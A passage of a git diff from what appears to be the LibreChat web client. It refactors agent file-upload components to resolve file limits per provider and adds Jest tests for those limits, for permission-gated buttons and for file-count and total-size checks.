+ const fileHandlingState = useMemo(() => ({ files, setFiles, conversation: null }), [files]);
const [isPopoverActive, setIsPopoverActive] = useState(false);
const [isSharePointDialogOpen, setIsSharePointDialogOpen] = useState(false);
// Get startup configuration for SharePoint feature flag
const { data: startupConfig } = useGetStartupConfig();
+ const { endpointFileConfig, providerValue, endpointType } = useAgentFileConfig();
+ const endpointOverride = providerValue || EModelEndpoint.agents;
- const { data: fileConfig = null } = useGetFileConfig({
- select: (data) => mergeFileConfig(data),
- });
+ const { handleFileChange } = useFileHandlingNoChatContext(
+ {
+ additionalMetadata: { agent_id, tool_resource: EToolResources.file_search },
+ endpointOverride,
+ endpointTypeOverride: endpointType,
+ fileSetter: setFiles,
+ },
+ fileHandlingState,
+ );
- const { handleFileChange } = useFileHandling({
- additionalMetadata: { agent_id, tool_resource: EToolResources.file_search },
- fileSetter: setFiles,
- });
-
- const { handleSharePointFiles, isProcessing, downloadProgress } = useSharePointFileHandling({
- additionalMetadata: { agent_id, tool_resource: EToolResources.file_search },
- fileSetter: setFiles,
- });
+ const { handleSharePointFiles, isProcessing, downloadProgress } =
+ useSharePointFileHandlingNoChatContext(
+ {
+ additionalMetadata: { agent_id, tool_resource: EToolResources.file_search },
+ endpointOverride,
+ endpointTypeOverride: endpointType,
+ fileSetter: setFiles,
+ },
+ fileHandlingState,
+ );
useLazyEffect(
() => {
@@ -63,12 +66,6 @@ export default function FileSearch({
);
const fileSearchChecked = watch(AgentCapabilities.file_search);
-
- const endpointFileConfig = getEndpointFileConfig({
- fileConfig,
- endpoint: EModelEndpoint.agents,
- endpointType: EModelEndpoint.agents,
- });
const isUploadDisabled = endpointFileConfig?.disabled ?? false;
const sharePointEnabled = startupConfig?.sharePointFilePickerEnabled;
@@ -141,7 +138,6 @@ export default function FileSearch({
{children}
}
@@ -201,3 +197,8 @@ export default function FileSearch({
);
}
+
+const MemoizedFileSearch = memo(FileSearch);
+MemoizedFileSearch.displayName = 'FileSearch';
+
+export default MemoizedFileSearch;
diff --git a/client/src/components/SidePanel/Agents/__tests__/AgentFileConfig.spec.tsx b/client/src/components/SidePanel/Agents/__tests__/AgentFileConfig.spec.tsx
new file mode 100644
index 0000000000..2bbd3fea22
--- /dev/null
+++ b/client/src/components/SidePanel/Agents/__tests__/AgentFileConfig.spec.tsx
@@ -0,0 +1,192 @@
+import React from 'react';
+import { render, screen } from '@testing-library/react';
+import { useForm, FormProvider } from 'react-hook-form';
+import { EModelEndpoint, mergeFileConfig, resolveEndpointType } from 'librechat-data-provider';
+import type { TEndpointsConfig } from 'librechat-data-provider';
+import type { AgentForm } from '~/common';
+import useAgentFileConfig from '~/hooks/Agents/useAgentFileConfig';
+
+/**
+ * Tests the useAgentFileConfig hook used by FileContext, FileSearch, and Code/Files.
+ * Uses the real hook with mocked data-fetching layer.
+ */
+
+const mockEndpointsConfig: TEndpointsConfig = {
+ [EModelEndpoint.openAI]: { userProvide: false, order: 0 },
+ [EModelEndpoint.agents]: { userProvide: false, order: 1 },
+ Moonshot: { type: EModelEndpoint.custom, userProvide: false, order: 9999 },
+ 'Some Endpoint': { type: EModelEndpoint.custom, userProvide: false, order: 9999 },
+};
+
+const defaultFileConfig = mergeFileConfig({
+ endpoints: {
+ Moonshot: { fileLimit: 5 },
+ [EModelEndpoint.agents]: { fileLimit: 20 },
+ default: { fileLimit: 10 },
+ },
+});
+
+let mockFileConfig = defaultFileConfig;
+
+jest.mock('~/data-provider', () => ({
+ useGetEndpointsQuery: () => ({ data: mockEndpointsConfig }),
+ useGetFileConfig: ({ select }: { select?: (data: unknown) => unknown }) => ({
+ data: select != null ? select(mockFileConfig) : mockFileConfig,
+ }),
+}));
+
+function FileConfigProbe() {
+ const { endpointType, endpointFileConfig } = useAgentFileConfig();
+ return (
+
+ {String(endpointType)}
+ {endpointFileConfig.fileLimit}
+ {String(endpointFileConfig.disabled ?? false)}
+
+ );
+}
+
+function TestWrapper({ provider }: { provider?: string | { label: string; value: string } }) {
+ const methods = useForm
({
+ defaultValues: { provider: provider as AgentForm['provider'] },
+ });
+ return (
+
+
+
+ );
+}
+
+describe('AgentPanel file config resolution (useAgentFileConfig)', () => {
+ describe('endpointType resolution from form provider', () => {
+ it('resolves to custom when provider is a custom endpoint string', () => {
+ render( );
+ expect(screen.getByTestId('endpointType').textContent).toBe(EModelEndpoint.custom);
+ });
+
+ it('resolves to custom when provider is a custom endpoint with spaces', () => {
+ render( );
+ expect(screen.getByTestId('endpointType').textContent).toBe(EModelEndpoint.custom);
+ });
+
+ it('resolves to openAI when provider is openAI', () => {
+ render( );
+ expect(screen.getByTestId('endpointType').textContent).toBe(EModelEndpoint.openAI);
+ });
+
+ it('falls back to agents when provider is undefined', () => {
+ render( );
+ expect(screen.getByTestId('endpointType').textContent).toBe(EModelEndpoint.agents);
+ });
+
+ it('falls back to agents when provider is empty string', () => {
+ render( );
+ expect(screen.getByTestId('endpointType').textContent).toBe(EModelEndpoint.agents);
+ expect(screen.getByTestId('fileLimit').textContent).toBe('20');
+ });
+
+ it('falls back to agents when provider option has empty value', () => {
+ render( );
+ expect(screen.getByTestId('endpointType').textContent).toBe(EModelEndpoint.agents);
+ expect(screen.getByTestId('fileLimit').textContent).toBe('20');
+ });
+
+ it('resolves correctly when provider is an option object', () => {
+ render( );
+ expect(screen.getByTestId('endpointType').textContent).toBe(EModelEndpoint.custom);
+ });
+ });
+
+ describe('file config fallback chain', () => {
+ it('uses Moonshot-specific file config when provider is Moonshot', () => {
+ render( );
+ expect(screen.getByTestId('fileLimit').textContent).toBe('5');
+ });
+
+ it('falls back to agents file config when provider has no specific config', () => {
+ render( );
+ expect(screen.getByTestId('fileLimit').textContent).toBe('20');
+ });
+
+ it('uses agents file config when no provider is set', () => {
+ render( );
+ expect(screen.getByTestId('fileLimit').textContent).toBe('20');
+ });
+
+ it('falls back to default config for openAI provider (no openAI-specific config)', () => {
+ render( );
+ expect(screen.getByTestId('fileLimit').textContent).toBe('10');
+ });
+ });
+
+ describe('disabled state', () => {
+ beforeEach(() => {
+ mockFileConfig = defaultFileConfig;
+ });
+
+ it('reports not disabled for standard config', () => {
+ render( );
+ expect(screen.getByTestId('disabled').textContent).toBe('false');
+ });
+
+ it('reports disabled when provider-specific config is disabled', () => {
+ mockFileConfig = mergeFileConfig({
+ endpoints: {
+ Moonshot: { disabled: true },
+ [EModelEndpoint.agents]: { fileLimit: 20 },
+ default: { fileLimit: 10 },
+ },
+ });
+
+ render( );
+ expect(screen.getByTestId('disabled').textContent).toBe('true');
+ });
+
+ it('reports disabled when agents config is disabled and no provider set', () => {
+ mockFileConfig = mergeFileConfig({
+ endpoints: {
+ [EModelEndpoint.agents]: { disabled: true },
+ default: { fileLimit: 10 },
+ },
+ });
+
+ render( );
+ expect(screen.getByTestId('disabled').textContent).toBe('true');
+ });
+
+ it('reports disabled when agents is disabled and provider has no specific config', () => {
+ mockFileConfig = mergeFileConfig({
+ endpoints: {
+ [EModelEndpoint.agents]: { disabled: true },
+ default: { fileLimit: 10 },
+ },
+ });
+
+ render( );
+ expect(screen.getByTestId('disabled').textContent).toBe('true');
+ });
+
+ it('provider-specific enabled overrides agents disabled', () => {
+ mockFileConfig = mergeFileConfig({
+ endpoints: {
+ Moonshot: { disabled: false, fileLimit: 5 },
+ [EModelEndpoint.agents]: { disabled: true },
+ default: { fileLimit: 10 },
+ },
+ });
+
+ render( );
+ expect(screen.getByTestId('disabled').textContent).toBe('false');
+ expect(screen.getByTestId('fileLimit').textContent).toBe('5');
+ });
+ });
+
+ describe('consistency with direct custom endpoint', () => {
+ it('resolves to the same type as a direct custom endpoint would', () => {
+ render( );
+ const agentEndpointType = screen.getByTestId('endpointType').textContent;
+ const directEndpointType = resolveEndpointType(mockEndpointsConfig, 'Moonshot');
+ expect(agentEndpointType).toBe(directEndpointType);
+ });
+ });
+});
diff --git a/client/src/components/SidePanel/Agents/__tests__/AgentFooter.spec.tsx b/client/src/components/SidePanel/Agents/__tests__/AgentFooter.spec.tsx
index 8d882bffe8..cfceeacb33 100644
--- a/client/src/components/SidePanel/Agents/__tests__/AgentFooter.spec.tsx
+++ b/client/src/components/SidePanel/Agents/__tests__/AgentFooter.spec.tsx
@@ -362,9 +362,15 @@ describe('AgentFooter', () => {
}
return undefined;
});
+ mockUseHasAccess.mockReturnValue(true);
+ mockUseResourcePermissions.mockReturnValue({
+ hasPermission: () => false,
+ isLoading: false,
+ permissionBits: 0,
+ });
render( );
- expect(screen.queryByTestId('grant-access-dialog-agent')).toBeInTheDocument(); // Still shows because hasAccess is true
- expect(screen.queryByTestId('duplicate-agent')).not.toBeInTheDocument(); // Should not show for different author
+ expect(screen.queryByTestId('grant-access-dialog-agent')).not.toBeInTheDocument(); // No share permission
+ expect(screen.queryByTestId('duplicate-button')).not.toBeInTheDocument(); // No edit permission
});
test('adjusts UI based on permissions', () => {
@@ -420,7 +426,84 @@ describe('AgentFooter', () => {
render( );
expect(screen.queryByTestId('delete-button')).not.toBeInTheDocument();
expect(screen.queryByTestId('grant-access-dialog-agent')).not.toBeInTheDocument();
- // Duplicate button should still show as it doesn't depend on permissions loading
+ expect(screen.queryByTestId('duplicate-button')).not.toBeInTheDocument();
+ });
+
+ test('shows duplicate button for non-owner with EDIT permission', () => {
+ mockUseAuthContext.mockReturnValue(createAuthContext(mockUsers.different));
+ mockUseWatch.mockImplementation(({ name }) => {
+ if (name === 'agent') {
+ return {
+ _id: 'agent-db-123',
+ name: 'Test Agent',
+ author: 'user-123',
+ projectIds: ['project-1'],
+ isCollaborative: false,
+ };
+ }
+ if (name === 'id') {
+ return 'agent-123';
+ }
+ return undefined;
+ });
+ mockUseResourcePermissions.mockReturnValue({
+ hasPermission: (bit: number) => bit === 2,
+ isLoading: false,
+ permissionBits: 2,
+ });
+ render( );
+ expect(screen.getByTestId('duplicate-button')).toBeInTheDocument();
+ });
+
+ test('hides duplicate button for non-owner with only VIEW permission', () => {
+ mockUseAuthContext.mockReturnValue(createAuthContext(mockUsers.different));
+ mockUseWatch.mockImplementation(({ name }) => {
+ if (name === 'agent') {
+ return {
+ _id: 'agent-db-123',
+ name: 'Test Agent',
+ author: 'user-123',
+ projectIds: ['project-1'],
+ isCollaborative: false,
+ };
+ }
+ if (name === 'id') {
+ return 'agent-123';
+ }
+ return undefined;
+ });
+ mockUseResourcePermissions.mockReturnValue({
+ hasPermission: () => false,
+ isLoading: false,
+ permissionBits: 1,
+ });
+ render( );
+ expect(screen.queryByTestId('duplicate-button')).not.toBeInTheDocument();
+ });
+
+ test('shows duplicate button for admin who is not the author', () => {
+ mockUseAuthContext.mockReturnValue(createAuthContext(mockUsers.admin));
+ mockUseWatch.mockImplementation(({ name }) => {
+ if (name === 'agent') {
+ return {
+ _id: 'agent-db-123',
+ name: 'Test Agent',
+ author: 'user-123',
+ projectIds: ['project-1'],
+ isCollaborative: false,
+ };
+ }
+ if (name === 'id') {
+ return 'agent-123';
+ }
+ return undefined;
+ });
+ mockUseResourcePermissions.mockReturnValue({
+ hasPermission: () => false,
+ isLoading: false,
+ permissionBits: 0,
+ });
+ render( );
expect(screen.getByTestId('duplicate-button')).toBeInTheDocument();
});
});
diff --git a/client/src/components/SidePanel/Agents/__tests__/CodeFiles.spec.tsx b/client/src/components/SidePanel/Agents/__tests__/CodeFiles.spec.tsx
new file mode 100644
index 0000000000..0e965e4c84
--- /dev/null
+++ b/client/src/components/SidePanel/Agents/__tests__/CodeFiles.spec.tsx
@@ -0,0 +1,138 @@
+import React from 'react';
+import { render, screen } from '@testing-library/react';
+import { useForm, FormProvider } from 'react-hook-form';
+import { EModelEndpoint, mergeFileConfig } from 'librechat-data-provider';
+import type { TEndpointsConfig } from 'librechat-data-provider';
+import type { AgentForm } from '~/common';
+import Files from '../Code/Files';
+
+const mockEndpointsConfig: TEndpointsConfig = {
+ [EModelEndpoint.agents]: { userProvide: false, order: 1 },
+ Moonshot: { type: EModelEndpoint.custom, userProvide: false, order: 9999 },
+};
+
+let mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } });
+
+jest.mock('~/data-provider', () => ({
+ useGetEndpointsQuery: () => ({ data: mockEndpointsConfig }),
+ useGetFileConfig: ({ select }: { select?: (d: unknown) => unknown }) => ({
+ data: select != null ? select(mockFileConfig) : mockFileConfig,
+ }),
+}));
+
+jest.mock('~/hooks', () => ({
+ useAgentFileConfig: jest.requireActual('~/hooks/Agents/useAgentFileConfig').default,
+ useLocalize: () => (key: string) => key,
+ useLazyEffect: () => {},
+}));
+
+const mockUseFileHandlingNoChatContext = jest.fn().mockReturnValue({
+ abortUpload: jest.fn(),
+ handleFileChange: jest.fn(),
+});
+
+jest.mock('~/hooks/Files/useFileHandling', () => ({
+ useFileHandlingNoChatContext: (...args: unknown[]) => mockUseFileHandlingNoChatContext(...args),
+}));
+
+jest.mock('~/components/Chat/Input/Files/FileRow', () => () => null);
+
+jest.mock('@librechat/client', () => ({
+ AttachmentIcon: () => ,
+}));
+
+function Wrapper({ provider, children }: { provider?: string; children: React.ReactNode }) {
+ const methods = useForm({
+ defaultValues: { provider: provider as AgentForm['provider'] },
+ });
+ return {children} ;
+}
+
+describe('Code/Files', () => {
+ it('renders upload UI when file uploads are not disabled', () => {
+ mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } });
+ render(
+
+
+ ,
+ );
+ expect(screen.getByText('com_assistants_code_interpreter_files')).toBeInTheDocument();
+ });
+
+ it('returns null when file config is disabled for provider', () => {
+ mockFileConfig = mergeFileConfig({
+ endpoints: { Moonshot: { disabled: true }, default: { fileLimit: 10 } },
+ });
+ const { container } = render(
+
+
+ ,
+ );
+ expect(container.innerHTML).toBe('');
+ });
+
+ it('returns null when agents endpoint config is disabled and no provider config', () => {
+ mockFileConfig = mergeFileConfig({
+ endpoints: { [EModelEndpoint.agents]: { disabled: true }, default: { fileLimit: 10 } },
+ });
+ const { container } = render(
+
+
+ ,
+ );
+ expect(container.innerHTML).toBe('');
+ });
+
+ it('passes provider as endpointOverride and resolved type as endpointTypeOverride', () => {
+ mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } });
+ mockUseFileHandlingNoChatContext.mockClear();
+ render(
+
+
+ ,
+ );
+ const params = mockUseFileHandlingNoChatContext.mock.calls[0][0];
+ expect(params.endpointOverride).toBe('Moonshot');
+ expect(params.endpointTypeOverride).toBe(EModelEndpoint.custom);
+ });
+
+ it('falls back to agents for endpointOverride when no provider', () => {
+ mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } });
+ mockUseFileHandlingNoChatContext.mockClear();
+ render(
+
+
+ ,
+ );
+ const params = mockUseFileHandlingNoChatContext.mock.calls[0][0];
+ expect(params.endpointOverride).toBe(EModelEndpoint.agents);
+ expect(params.endpointTypeOverride).toBe(EModelEndpoint.agents);
+ });
+
+ it('falls back to agents for endpointOverride when provider is empty string', () => {
+ mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } });
+ mockUseFileHandlingNoChatContext.mockClear();
+ render(
+
+
+ ,
+ );
+ const params = mockUseFileHandlingNoChatContext.mock.calls[0][0];
+ expect(params.endpointOverride).toBe(EModelEndpoint.agents);
+ });
+
+ it('renders when provider has no specific config and agents config is enabled', () => {
+ mockFileConfig = mergeFileConfig({
+ endpoints: {
+ [EModelEndpoint.agents]: { fileLimit: 20 },
+ default: { fileLimit: 10 },
+ },
+ });
+ render(
+
+
+ ,
+ );
+ expect(screen.getByText('com_assistants_code_interpreter_files')).toBeInTheDocument();
+ });
+});
diff --git a/client/src/components/SidePanel/Agents/__tests__/FileContext.spec.tsx b/client/src/components/SidePanel/Agents/__tests__/FileContext.spec.tsx
new file mode 100644
index 0000000000..f99d71d2b7
--- /dev/null
+++ b/client/src/components/SidePanel/Agents/__tests__/FileContext.spec.tsx
@@ -0,0 +1,151 @@
+import React from 'react';
+import { render, screen } from '@testing-library/react';
+import { useForm, FormProvider } from 'react-hook-form';
+import { EModelEndpoint, mergeFileConfig } from 'librechat-data-provider';
+import type { TEndpointsConfig } from 'librechat-data-provider';
+import type { AgentForm } from '~/common';
+import FileContext from '../FileContext';
+
+const mockEndpointsConfig: TEndpointsConfig = {
+ [EModelEndpoint.agents]: { userProvide: false, order: 1 },
+ Moonshot: { type: EModelEndpoint.custom, userProvide: false, order: 9999 },
+};
+
+let mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } });
+
+jest.mock('~/data-provider', () => ({
+ useGetEndpointsQuery: () => ({ data: mockEndpointsConfig }),
+ useGetFileConfig: ({ select }: { select?: (d: unknown) => unknown }) => ({
+ data: select != null ? select(mockFileConfig) : mockFileConfig,
+ }),
+ useGetStartupConfig: () => ({ data: { sharePointFilePickerEnabled: false } }),
+}));
+
+jest.mock('~/hooks', () => ({
+ useAgentFileConfig: jest.requireActual('~/hooks/Agents/useAgentFileConfig').default,
+ useLocalize: () => (key: string) => key,
+ useLazyEffect: () => {},
+}));
+
+const mockUseFileHandlingNoChatContext = jest.fn().mockReturnValue({
+ handleFileChange: jest.fn(),
+});
+
+jest.mock('~/hooks/Files/useFileHandling', () => ({
+ useFileHandlingNoChatContext: (...args: unknown[]) => mockUseFileHandlingNoChatContext(...args),
+}));
+
+jest.mock('~/hooks/Files/useSharePointFileHandling', () => ({
+ useSharePointFileHandlingNoChatContext: () => ({
+ handleSharePointFiles: jest.fn(),
+ isProcessing: false,
+ downloadProgress: 0,
+ }),
+}));
+
+jest.mock('~/components/SharePoint', () => ({
+ SharePointPickerDialog: () => null,
+}));
+
+jest.mock('~/components/Chat/Input/Files/FileRow', () => () => null);
+
+jest.mock('@ariakit/react', () => ({
+ MenuButton: ({ children, ...props }: { children: React.ReactNode }) => (
+ {children}
+ ),
+}));
+
+jest.mock('@librechat/client', () => ({
+ HoverCard: ({ children }: { children: React.ReactNode }) => {children}
,
+ DropdownPopup: () => null,
+ AttachmentIcon: () => ,
+ CircleHelpIcon: () => ,
+ SharePointIcon: () => ,
+ HoverCardPortal: ({ children }: { children: React.ReactNode }) => {children}
,
+ HoverCardContent: ({ children }: { children: React.ReactNode }) => {children}
,
+ HoverCardTrigger: ({ children }: { children: React.ReactNode }) => {children}
,
+}));
+
+function Wrapper({ provider, children }: { provider?: string; children: React.ReactNode }) {
+ const methods = useForm({
+ defaultValues: { provider: provider as AgentForm['provider'] },
+ });
+ return {children} ;
+}
+
+describe('FileContext', () => {
+ it('renders upload UI when file uploads are not disabled', () => {
+ mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } });
+ render(
+
+
+ ,
+ );
+ expect(screen.getByText('com_agents_file_context_label')).toBeInTheDocument();
+ });
+
+ it('returns null when file config is disabled', () => {
+ mockFileConfig = mergeFileConfig({
+ endpoints: { Moonshot: { disabled: true }, default: { fileLimit: 10 } },
+ });
+ const { container } = render(
+
+
+ ,
+ );
+ expect(container.innerHTML).toBe('');
+ });
+
+ it('returns null when agents endpoint config is disabled and provider has no specific config', () => {
+ mockFileConfig = mergeFileConfig({
+ endpoints: { [EModelEndpoint.agents]: { disabled: true }, default: { fileLimit: 10 } },
+ });
+ const { container } = render(
+
+
+ ,
+ );
+ expect(container.innerHTML).toBe('');
+ });
+
+ it('passes provider as endpointOverride and resolved type as endpointTypeOverride', () => {
+ mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } });
+ mockUseFileHandlingNoChatContext.mockClear();
+ render(
+
+
+ ,
+ );
+ const params = mockUseFileHandlingNoChatContext.mock.calls[0][0];
+ expect(params.endpointOverride).toBe('Moonshot');
+ expect(params.endpointTypeOverride).toBe(EModelEndpoint.custom);
+ });
+
+ it('falls back to agents for endpointOverride when no provider', () => {
+ mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } });
+ mockUseFileHandlingNoChatContext.mockClear();
+ render(
+
+
+ ,
+ );
+ const params = mockUseFileHandlingNoChatContext.mock.calls[0][0];
+ expect(params.endpointOverride).toBe(EModelEndpoint.agents);
+ expect(params.endpointTypeOverride).toBe(EModelEndpoint.agents);
+ });
+
+ it('renders when provider has no specific config and agents config is enabled', () => {
+ mockFileConfig = mergeFileConfig({
+ endpoints: {
+ [EModelEndpoint.agents]: { fileLimit: 20 },
+ default: { fileLimit: 10 },
+ },
+ });
+ render(
+
+
+ ,
+ );
+ expect(screen.getByText('com_agents_file_context_label')).toBeInTheDocument();
+ });
+});
diff --git a/client/src/components/SidePanel/Agents/__tests__/FileSearch.spec.tsx b/client/src/components/SidePanel/Agents/__tests__/FileSearch.spec.tsx
new file mode 100644
index 0000000000..003388f5d8
--- /dev/null
+++ b/client/src/components/SidePanel/Agents/__tests__/FileSearch.spec.tsx
@@ -0,0 +1,147 @@
+import React from 'react';
+import { render, screen } from '@testing-library/react';
+import { useForm, FormProvider } from 'react-hook-form';
+import { EModelEndpoint, mergeFileConfig } from 'librechat-data-provider';
+import type { TEndpointsConfig } from 'librechat-data-provider';
+import type { AgentForm } from '~/common';
+import FileSearch from '../FileSearch';
+
+const mockEndpointsConfig: TEndpointsConfig = {
+ [EModelEndpoint.agents]: { userProvide: false, order: 1 },
+ Moonshot: { type: EModelEndpoint.custom, userProvide: false, order: 9999 },
+};
+
+let mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } });
+
+jest.mock('~/data-provider', () => ({
+ useGetEndpointsQuery: () => ({ data: mockEndpointsConfig }),
+ useGetFileConfig: ({ select }: { select?: (d: unknown) => unknown }) => ({
+ data: select != null ? select(mockFileConfig) : mockFileConfig,
+ }),
+ useGetStartupConfig: () => ({ data: { sharePointFilePickerEnabled: false } }),
+}));
+
+jest.mock('~/hooks', () => ({
+ useAgentFileConfig: jest.requireActual('~/hooks/Agents/useAgentFileConfig').default,
+ useLocalize: () => (key: string) => key,
+ useLazyEffect: () => {},
+}));
+
+const mockUseFileHandlingNoChatContext = jest.fn().mockReturnValue({
+ handleFileChange: jest.fn(),
+});
+
+jest.mock('~/hooks/Files/useFileHandling', () => ({
+ useFileHandlingNoChatContext: (...args: unknown[]) => mockUseFileHandlingNoChatContext(...args),
+}));
+
+jest.mock('~/hooks/Files/useSharePointFileHandling', () => ({
+ useSharePointFileHandlingNoChatContext: () => ({
+ handleSharePointFiles: jest.fn(),
+ isProcessing: false,
+ downloadProgress: 0,
+ }),
+}));
+
+jest.mock('~/components/SharePoint', () => ({
+ SharePointPickerDialog: () => null,
+}));
+
+jest.mock('~/components/Chat/Input/Files/FileRow', () => () => null);
+jest.mock('../FileSearchCheckbox', () => () => null);
+
+jest.mock('@ariakit/react', () => ({
+ MenuButton: ({ children, ...props }: { children: React.ReactNode }) => (
+ {children}
+ ),
+}));
+
+jest.mock('@librechat/client', () => ({
+ SharePointIcon: () => ,
+ AttachmentIcon: () => ,
+ DropdownPopup: () => null,
+}));
+
+function Wrapper({ provider, children }: { provider?: string; children: React.ReactNode }) {
+ const methods = useForm({
+ defaultValues: { provider: provider as AgentForm['provider'] },
+ });
+ return {children} ;
+}
+
+describe('FileSearch', () => {
+ it('renders upload UI when file uploads are not disabled', () => {
+ mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } });
+ render(
+
+
+ ,
+ );
+ expect(screen.getByText('com_assistants_file_search')).toBeInTheDocument();
+ });
+
+ it('returns null when file config is disabled for provider', () => {
+ mockFileConfig = mergeFileConfig({
+ endpoints: { Moonshot: { disabled: true }, default: { fileLimit: 10 } },
+ });
+ const { container } = render(
+
+
+ ,
+ );
+ expect(container.innerHTML).toBe('');
+ });
+
+ it('returns null when agents endpoint config is disabled and no provider config', () => {
+ mockFileConfig = mergeFileConfig({
+ endpoints: { [EModelEndpoint.agents]: { disabled: true }, default: { fileLimit: 10 } },
+ });
+ const { container } = render(
+
+
+ ,
+ );
+ expect(container.innerHTML).toBe('');
+ });
+
+ it('passes provider as endpointOverride and resolved type as endpointTypeOverride', () => {
+ mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } });
+ mockUseFileHandlingNoChatContext.mockClear();
+ render(
+
+
+ ,
+ );
+ const params = mockUseFileHandlingNoChatContext.mock.calls[0][0];
+ expect(params.endpointOverride).toBe('Moonshot');
+ expect(params.endpointTypeOverride).toBe(EModelEndpoint.custom);
+ });
+
+ it('falls back to agents for endpointOverride when no provider', () => {
+ mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } });
+ mockUseFileHandlingNoChatContext.mockClear();
+ render(
+
+
+ ,
+ );
+ const params = mockUseFileHandlingNoChatContext.mock.calls[0][0];
+ expect(params.endpointOverride).toBe(EModelEndpoint.agents);
+ expect(params.endpointTypeOverride).toBe(EModelEndpoint.agents);
+ });
+
+ it('renders when provider has no specific config and agents config is enabled', () => {
+ mockFileConfig = mergeFileConfig({
+ endpoints: {
+ [EModelEndpoint.agents]: { fileLimit: 20 },
+ default: { fileLimit: 10 },
+ },
+ });
+ render(
+
+
+ ,
+ );
+ expect(screen.getByText('com_assistants_file_search')).toBeInTheDocument();
+ });
+});
diff --git a/client/src/components/SidePanel/Files/PanelTable.tsx b/client/src/components/SidePanel/Files/PanelTable.tsx
index 2fc8f7031b..e67e16abdd 100644
--- a/client/src/components/SidePanel/Files/PanelTable.tsx
+++ b/client/src/components/SidePanel/Files/PanelTable.tsx
@@ -24,14 +24,14 @@ import {
type ColumnFiltersState,
} from '@tanstack/react-table';
import {
- fileConfig as defaultFileConfig,
- checkOpenAIStorage,
- mergeFileConfig,
megabyte,
+ mergeFileConfig,
+ checkOpenAIStorage,
isAssistantsEndpoint,
getEndpointFileConfig,
- type TFile,
+ fileConfig as defaultFileConfig,
} from 'librechat-data-provider';
+import type { TFile } from 'librechat-data-provider';
import { MyFilesModal } from '~/components/Chat/Input/Files/MyFilesModal';
import { useFileMapContext, useChatContext } from '~/Providers';
import { useLocalize, useUpdateFiles } from '~/hooks';
@@ -86,7 +86,7 @@ export default function DataTable({ columns, data }: DataTablePro
const fileMap = useFileMapContext();
const { showToast } = useToastContext();
- const { setFiles, conversation } = useChatContext();
+ const { files, setFiles, conversation } = useChatContext();
const { data: fileConfig = null } = useGetFileConfig({
select: (data) => mergeFileConfig(data),
});
@@ -142,7 +142,15 @@ export default function DataTable({ columns, data }: DataTablePro
return;
}
- if (fileData.bytes > (endpointFileConfig.fileSizeLimit ?? Number.MAX_SAFE_INTEGER)) {
+ if (endpointFileConfig.fileLimit && files.size >= endpointFileConfig.fileLimit) {
+ showToast({
+ message: `${localize('com_ui_attach_error_limit')} ${endpointFileConfig.fileLimit} files (${endpoint})`,
+ status: 'error',
+ });
+ return;
+ }
+
+ if (fileData.bytes >= (endpointFileConfig.fileSizeLimit ?? Number.MAX_SAFE_INTEGER)) {
showToast({
message: `${localize('com_ui_attach_error_size')} ${
(endpointFileConfig.fileSizeLimit ?? 0) / megabyte
@@ -160,6 +168,22 @@ export default function DataTable({ columns, data }: DataTablePro
return;
}
+ if (endpointFileConfig.totalSizeLimit) {
+ const existing = files.get(fileData.file_id);
+ let currentTotalSize = 0;
+ for (const f of files.values()) {
+ currentTotalSize += f.size;
+ }
+ currentTotalSize -= existing?.size ?? 0;
+ if (currentTotalSize + fileData.bytes > endpointFileConfig.totalSizeLimit) {
+ showToast({
+ message: `${localize('com_ui_attach_error_total_size')} ${endpointFileConfig.totalSizeLimit / megabyte} MB (${endpoint})`,
+ status: 'error',
+ });
+ return;
+ }
+ }
+
addFile({
progress: 1,
attached: true,
@@ -175,7 +199,7 @@ export default function DataTable({ columns, data }: DataTablePro
metadata: fileData.metadata,
});
},
- [addFile, fileMap, conversation, localize, showToast, fileConfig],
+ [addFile, files, fileMap, conversation, localize, showToast, fileConfig],
);
const filenameFilter = table.getColumn('filename')?.getFilterValue() as string;
diff --git a/client/src/components/SidePanel/Files/__tests__/PanelTable.spec.tsx b/client/src/components/SidePanel/Files/__tests__/PanelTable.spec.tsx
new file mode 100644
index 0000000000..2639d3c100
--- /dev/null
+++ b/client/src/components/SidePanel/Files/__tests__/PanelTable.spec.tsx
@@ -0,0 +1,239 @@
+import React from 'react';
+import { render, screen, fireEvent } from '@testing-library/react';
+import { FileSources } from 'librechat-data-provider';
+import type { TFile } from 'librechat-data-provider';
+import type { ExtendedFile } from '~/common';
+import DataTable from '../PanelTable';
+import { columns } from '../PanelColumns';
+
+const mockShowToast = jest.fn();
+const mockAddFile = jest.fn();
+
+let mockFileMap: Record = {};
+let mockFiles: Map = new Map();
+let mockConversation: Record | null = { endpoint: 'openAI' };
+let mockRawFileConfig: Record | null = {
+ endpoints: {
+ openAI: { fileLimit: 10, supportedMimeTypes: ['application/pdf', 'text/plain'] },
+ },
+};
+
+jest.mock('@librechat/client', () => ({
+ Table: ({ children, ...props }: { children: React.ReactNode }) => (
+
+ ),
+ Button: ({
+ children,
+ ...props
+ }: { children: React.ReactNode } & React.ButtonHTMLAttributes) => (
+ {children}
+ ),
+ TableRow: ({ children, ...props }: { children: React.ReactNode }) => (
+ {children}
+ ),
+ TableHead: ({ children, ...props }: { children: React.ReactNode }) => (
+ {children}
+ ),
+ TableBody: ({ children, ...props }: { children: React.ReactNode }) => (
+ {children}
+ ),
+ TableCell: ({
+ children,
+ ...props
+ }: { children: React.ReactNode } & React.TdHTMLAttributes) => (
+ {children}
+ ),
+ FilterInput: () => ,
+ TableHeader: ({ children, ...props }: { children: React.ReactNode }) => (
+ {children}
+ ),
+ useToastContext: () => ({ showToast: mockShowToast }),
+}));
+
+jest.mock('~/Providers', () => ({
+ useFileMapContext: () => mockFileMap,
+ useChatContext: () => ({
+ files: mockFiles,
+ setFiles: jest.fn(),
+ conversation: mockConversation,
+ }),
+}));
+
+jest.mock('~/hooks', () => ({
